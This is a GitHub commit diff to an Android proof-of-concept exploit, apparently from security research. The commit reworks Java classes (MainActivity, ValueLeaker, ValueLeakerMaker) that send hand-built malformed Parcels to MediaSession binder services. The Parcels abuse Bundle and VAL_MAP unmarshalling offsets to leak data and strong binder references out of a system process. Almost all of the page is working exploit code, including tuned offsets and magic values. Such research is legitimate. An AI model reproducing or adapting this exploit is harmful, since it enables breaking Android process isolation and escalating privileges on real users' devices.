Skip to content

Commit

Permalink
Alternate version which uses multiple MediaSession-s
Browse files Browse the repository at this point in the history
instead of referencing multiple ParceledListSlice

#4
  • Loading branch information
michalbednarski committed Apr 12, 2023
1 parent b0a2e05 commit b8b16fb
Show file tree
Hide file tree
Showing 3 changed files with 24 additions and 42 deletions.
7 changes: 5 additions & 2 deletions app/src/main/java/com/example/leakvalue/MainActivity.java
Original file line number Diff line number Diff line change
Expand Up @@ -43,7 +43,10 @@ void doAllStuff() {
ValueLeakerMaker leakerMaker = new ValueLeakerMaker(this);
leakerMaker.runWithNestLevels(5, i -> {
try {
leakers.add(leakerMaker.makeHolderLeakerWithRewind(56));
// As each ValueLeaker references MediaSession and ValueLeakerMaker has only one
// we need to use separate ValueLeakerMaker for each operation.
// Also, as leaker in this variant is at higher offset, we had to shrink size
leakers.add(new ValueLeakerMaker(this).makeHolderLeakerWithRewind(52));
} catch (ReflectiveOperationException | RemoteException e) {
e.printStackTrace();
}
Expand Down Expand Up @@ -72,7 +75,7 @@ void doAllStuff() {
for (ValueLeaker leaker : leakers) {
Parcel parcel = leaker.doLeak();
if (parcel != null) {
parcel.setDataPosition(28);
parcel.setDataPosition(24);
IBinder binder = parcel.readStrongBinder();
if (binder != null && !(binder instanceof Binder)) {
leakedBinders.add(binder);
Expand Down
15 changes: 12 additions & 3 deletions app/src/main/java/com/example/leakvalue/ValueLeaker.java
Original file line number Diff line number Diff line change
Expand Up @@ -11,21 +11,30 @@ public class ValueLeaker {
private final int mLeakPosition;
private final int mLeakSize;
private final long mEndMagic;
private final int mTransactCode;

//
ValueLeaker(IBinder retriever, int leakPosition, int leakSize, long endMagic) {
this(retriever, leakPosition, leakSize, endMagic, IBinder.FIRST_CALL_TRANSACTION);
}

ValueLeaker(IBinder retriever, int leakPosition, int leakSize, long endMagic, int transactCode) {
mRetriever = Objects.requireNonNull(retriever);
mLeakPosition = leakPosition;
mLeakSize = leakSize;
mEndMagic = endMagic;
mTransactCode = transactCode;
}

public Parcel doLeak() throws RemoteException {
Parcel leakedParcel = null;
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInt(1);
mRetriever.transact(IBinder.FIRST_CALL_TRANSACTION, data, reply, 0);
if (mTransactCode == IBinder.FIRST_CALL_TRANSACTION) {
data.writeInt(1);
} else {
data.writeInterfaceToken("android.media.session.ISessionController");
}
mRetriever.transact(mTransactCode, data, reply, 0);
reply.setDataPosition(mLeakPosition + mLeakSize + 4);
if (reply.readLong() == mEndMagic) {
leakedParcel = Parcel.obtain();
Expand Down
44 changes: 7 additions & 37 deletions app/src/main/java/com/example/leakvalue/ValueLeakerMaker.java
Original file line number Diff line number Diff line change
Expand Up @@ -204,26 +204,11 @@ public ValueLeaker makeHolderLeakerWithRewind(int leakDataSize) throws Reflectiv
}

IBinder setQueueBinder = (IBinder) mGetBinderForSetQueue.invoke(mMediaSessionBinder);
{
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInt(2); // List length
data.writeInt(1); // ParcelableListBinder.ITEM_CONTINUED
data.writeString("android.os.Message");
Message message = Message.obtain();
message.obj = new ComponentName(FILLER_PACKAGE_NAME_HALF, "");
message.writeToParcel(data, 0);
message.recycle();
data.writeInt(0); // ParcelableListBinder.END_OF_PARCEL
setQueueBinder.transact(IBinder.FIRST_CALL_TRANSACTION, data, null, 0);
reply.recycle();
data.recycle();
}

int offsetToLeakedData;
{
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInt(1); // List length
data.writeInt(1); // ParcelableListBinder.ITEM_CONTINUED
data.writeString("android.os.Message");
data.writeInt(4); // msg.what / readValue() type
Expand Down Expand Up @@ -253,12 +238,15 @@ public ValueLeaker makeHolderLeakerWithRewind(int leakDataSize) throws Reflectiv
data.writeInt(4); // Bundle length (ignored as actual length due to read helper presence)
data.writeInt(0x4C444E44); // BUNDLE_MAGIC_NATIVE
data.writeInt(2); // Number of key-value pairs in Bundle
offsetToLeakedData = data.dataPosition(); // TODO
offsetToLeakedData = data.dataPosition() + 52; // Just grabbed offset from debugger without thinking

// BEGIN First Bundle key-value pair
data.writeString("%$#@!");
data.writeInt(2); // VAL_MAP
data.writeInt(-data.dataPosition());
// Without adjustment here, reading of subsequent value in Bundle will fail with
// Unmarshalling unknown type code 7209057 at offset 12
// type code is chars "an" from "android.os.Message"
data.writeInt(-data.dataPosition() + 4);
data.writeInt(0); // Number of items in VAL_MAP
// END First Bundle key-value pair
// Reader has rewound, abandon writing
Expand All @@ -268,25 +256,7 @@ public ValueLeaker makeHolderLeakerWithRewind(int leakDataSize) throws Reflectiv
data.recycle();
}

IBinder retriever;
{
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
data.writeInterfaceToken("android.media.session.ISessionController");
mControllerBinder.transact(mGetQueueCode, data, reply, 0);
reply.readException();
readIntAndCheck(reply, 1, "PLS != null");
readIntAndCheck(reply, 2, "PLS.size()");
readStringAndCheck(reply, "android.os.Message", "PLS item type");
readIntAndCheck(reply, 1, "First item presence");
Message.CREATOR.createFromParcel(reply).recycle();
readIntAndCheck(reply, 0, "Second item presence");
retriever = reply.readStrongBinder();
reply.recycle();
data.recycle();
}

return new ValueLeaker(retriever, offsetToLeakedData, leakDataSize, 0x40002300240025L);
return new ValueLeaker(mControllerBinder, offsetToLeakedData, leakDataSize, 0x40002300240025L, mGetQueueCode);
}

/**
Expand Down

0 comments on commit b8b16fb

Please sign in to comment.